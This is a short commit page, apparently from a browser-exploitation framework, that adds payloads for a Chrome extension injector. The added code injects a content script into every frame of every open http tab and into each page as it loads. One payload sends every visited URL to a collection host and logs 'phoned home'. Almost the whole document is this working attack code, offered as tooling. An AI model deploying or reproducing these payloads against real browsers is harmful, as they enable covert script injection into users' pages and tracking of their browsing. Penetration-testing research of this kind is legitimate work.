Merge pull request #986 from koto/master

Added payloads for Chrome extensions injector
This commit is contained in:
Michele Orru
2014-03-22 15:39:27 +01:00
3 changed files with 31 additions and 0 deletions

View File

@@ -0,0 +1,2 @@
// sample payload
console.log(location.href);

View File

@@ -0,0 +1,23 @@
// add a /cs.js file to extension and have it run in a content script on every tab
var INJECTOR_CS_PAYLOAD = '/cs.js';
// requires tabs permissions
chrome.tabs.query({}, function (tabs) {
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].url.match('^http')) {
chrome.tabs.executeScript(tabs[i].id, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD});
}
}
}
);
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
chrome.tabs.executeScript(tabId, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD
});
}
});

View File

@@ -0,0 +1,6 @@
var x = new XMLHttpRequest();
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
x.onload = x.onerror = function() {
console.log('phoned home');
}
x.send(null);